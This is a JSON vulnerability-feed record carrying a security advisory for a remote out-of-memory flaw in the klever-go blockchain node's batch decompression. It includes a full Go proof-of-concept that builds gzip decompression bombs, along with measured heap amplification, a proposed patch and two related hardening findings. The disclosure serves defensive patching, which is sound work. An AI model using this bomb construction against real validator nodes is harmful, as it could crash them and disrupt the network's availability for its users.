{"id":"CVE-2026-44697","aliases":["GHSA-87m7-qffr-542v","GO-2026-5246"],"title":"Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload","summary":"Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload","severity":"high","cvss":8.6,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","vendor":"klever-io","product":"github.com/klever-io/klever-go","ecosystem":"go","affected":["github.com/klever-io/klever-go <= 1.7.16"],"published":"2026-05-13","updated":"2026-07-21","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-87m7-qffr-542v","references":[{"url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-87m7-qffr-542v"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44697"},{"url":"https://github.com/klever-io/klever-go"}],"tags":["osv","go"],"epss":0.0038,"epssPercentile":0.3189,"ingestedAt":"2026-07-21T19:04:58.464Z","slug":"CVE-2026-44697","body":"## Overview\n\n## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95–102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n    err = b.Decompress(mdi.marshalizer)\n    if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n    rdata := bytes.NewReader(data)\n    reader, err := gzip.NewReader(rdata)\n    if err != nil { return nil, err }\n    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check\n    ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage              -> anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(&b, ..)  -> outer Batch (small, cheap)\nb.Decompress(...)              -> UNBOUNDED here  (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`'s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` → \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst inflatedSize = 256 << 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test's own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(&buf)\n\tchunk := make([]byte, 1<<20)\n\tfor written := 0; written < size; {\n\t\tn := len(chunk)\n\t\tif size-written < n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline). In-flight sampling is required because\n// Decompress's internal allocations may be reclaimed by GC before the\n// function returns.\nfunc peakHeapDuring(fn func()) (peak, baseline uint64) {\n\truntime.GC()\n\tvar ms runtime.MemStats\n\truntime.ReadMemStats(&ms)\n\tbaseline = ms.HeapAlloc\n\n\tvar stop atomic.Bool\n\tpeakPtr := new(atomic.Uint64)\n\tpeakPtr.Store(baseline)\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tticker := time.NewTicker(5 * time.Millisecond)\n\t\tdefer ticker.Stop()\n\t\tvar s runtime.MemStats\n\t\tfor !stop.Load() {\n\t\t\truntime.ReadMemStats(&s)\n\t\t\tcur := s.HeapAlloc\n\t\t\tfor {\n\t\t\t\told := peakPtr.Load()\n\t\t\t\tif cur <= old || peakPtr.CompareAndSwap(old, cur) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t<-ticker.C\n\t\t}\n\t\tclose(done)\n\t}()\n\n\tfn()\n\n\tstop.Store(true)\n\t<-done\n\treturn peakPtr.Load(), baseline\n}\n\n// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.\n// All-zeros inflated payload; inner Unmarshal-after-decompress fails,\n// but the gzip output buffer is already allocated.\nfunc TestC2_DecompressionBomb_RawZeros(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tbombStream := buildGzipOfZeros(t, inflatedSize)\n\n\tbomb := &batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       bombStream,\n\t\tDataSize:     1, // a lie — Decompress ignores it\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal: %v\", err)\n\t}\n\n\tt.Logf(\"  wire payload (after Marshal): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  advertised DataSize:          %d\", bomb.DataSize)\n\tt.Logf(\"  actual decompressed size:     %d bytes (%.2f MiB)\",\n\t\tinflatedSize, float64(inflatedSize)/(1<<20))\n\n\tbomb = nil\n\tbombStream = nil\n\truntime.GC()\n\n\treceived := &batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\tif !received.IsCompressed {\n\t\tt.Fatalf(\"expected IsCompressed=true after outer unmarshal\")\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress error: %v (irrelevant — heap already allocated)\", decompressErr)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1<<20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -> heap)\", amp)\n\n\tif allocated < uint64(inflatedSize/2) {\n\t\tt.Fatalf(\"heap delta only %.2f MiB — vuln may already be patched\",\n\t\t\tfloat64(allocated)/(1<<20))\n\t}\n\tif amp < 100 {\n\t\tt.Fatalf(\"amplification only %.1fx — expected >>100x\", amp)\n\t}\n}\n\n// TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream\n// decompresses to a valid marshaled Batch with N=25M empty entries.\n// Decompress's internal Unmarshal succeeds and additionally allocates\n// the [][]byte slice. All before any count-based anti-flood runs.\nfunc TestC2_DecompressionBomb_ValidInner(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tconst N = 25_000_000\n\n\tinnerBatch := &batch.Batch{Data: make([][]byte, N)}\n\tinnerWire, err := mrs.Marshal(innerBatch)\n\tif err != nil {\n\t\tt.Fatalf(\"inner marshal: %v\", err)\n\t}\n\tinnerBatch = nil\n\truntime.GC()\n\n\tvar compressed bytes.Buffer\n\tgz := gzip.NewWriter(&compressed)\n\tif _, err := gz.Write(innerWire); err != nil {\n\t\tt.Fatalf(\"gz write: %v\", err)\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gz close: %v\", err)\n\t}\n\tinnerWireLen := len(innerWire)\n\tinnerWire = nil\n\truntime.GC()\n\n\tbomb := &batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       compressed.Bytes(),\n\t\tDataSize:     1,\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"outer marshal: %v\", err)\n\t}\n\tt.Logf(\"  inner wire (uncompressed):    %d bytes (%.2f MiB)\",\n\t\tinnerWireLen, float64(innerWireLen)/(1<<20))\n\tt.Logf(\"  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  inner -> outer compression:   %.0fx\",\n\t\tfloat64(innerWireLen)/float64(len(wire)))\n\n\tbomb = nil\n\tcompressed.Reset()\n\truntime.GC()\n\n\treceived := &batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\t// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the\n\t\t// count-budget anti-flood at line 111.\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress returned: %v\", decompressErr)\n\tt.Logf(\"  Decompressed b.Data length: %d (matches N=%d? %v)\",\n\t\tlen(received.Data), N, len(received.Data) == N)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1<<20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -> heap)\", amp)\n\n\tif decompressErr != nil {\n\t\tt.Fatalf(\"Decompress unexpectedly failed: %v\", decompressErr)\n\t}\n\tif len(received.Data) != N {\n\t\tt.Fatalf(\"inner Unmarshal lost entries: got %d want %d\",\n\t\t\tlen(received.Data), N)\n\t}\n\tif allocated < 256<<20 {\n\t\tt.Fatalf(\"heap delta only %.2f MiB — expected >256 MiB\",\n\t\t\tfloat64(allocated)/(1<<20))\n\t}\n\truntime.KeepAlive(received)\n}\n```\n\n### Measured output\n\nApple-silicon dev machine, `go 1.25`, against commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`:\n\n```\n=== RUN   TestC2_DecompressionBomb_RawZeros\n      wire payload (after Marshal): 260938 bytes (254.82 KiB)\n      advertised DataSize:          1\n      actual decompressed size:     268435456 bytes (256.00 MiB)\n      Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)\n      peak heap during Decompress: +887994584 bytes (846.86 MiB)\n      elapsed: 155.79ms\n      amplification: 3403x (wire -> heap)\n--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)\n\n=== RUN   TestC2_DecompressionBomb_ValidInner\n      inner wire (uncompressed):    50000000 bytes (47.68 MiB)\n      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)\n      inner -> outer compression:   1028x\n      Decompress returned: <nil>\n      Decompressed b.Data length: 25000000 (matches N=25000000? true)\n      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)\n      elapsed: 582.92ms\n      amplification: 45604x (wire -> heap)\n--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)\n```\n\nReproduction: any commit that includes `data/batch/batch.go` in its\ncurrent `decompressGzip`/`Decompress` form. The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration — the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer's local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n  in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n  can OOM the entire fleet within a single block-production interval,\n  affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n  reputation logic runs, so the attack works regardless of whether the\n  receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53`   — `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` — `Batch.Decompress`, ignores `DataSize`,\n                                   re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` — call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94`  — preceding\n                                   `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n    r, err := gzip.NewReader(bytes.NewReader(data))\n    if err != nil { return nil, err }\n    defer r.Close()\n    lr := io.LimitReader(r, max+1)\n    out, err := io.ReadAll(lr)\n    if err != nil { return nil, err }\n    if int64(len(out)) > max {\n        return nil, ErrDecompressionTooLarge\n    }\n    return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n    if !ba.IsCompressed { return common.ErrNotCompressed }\n    if ba.DataSize > maxInflatedBatch {\n        return ErrDecompressionTooLarge\n    }\n    result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n    if err != nil { return err }\n    if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {\n        return ErrDecompressedSizeMismatch\n    }\n    if err := m.Unmarshal(ba, result); err != nil { return err }\n    ba.Stream, ba.IsCompressed = nil, false\n    return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by ≈30× relative to the measured PoC and ≈400×\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose ≈16 bytes ×\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding — that `Decompress`'s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs — is captured by the\nheadline finding's PoC.\n\n### Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) &&\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html\n\n## Affected packages\n\n- `github.com/klever-io/klever-go <= 1.7.16`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":47.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}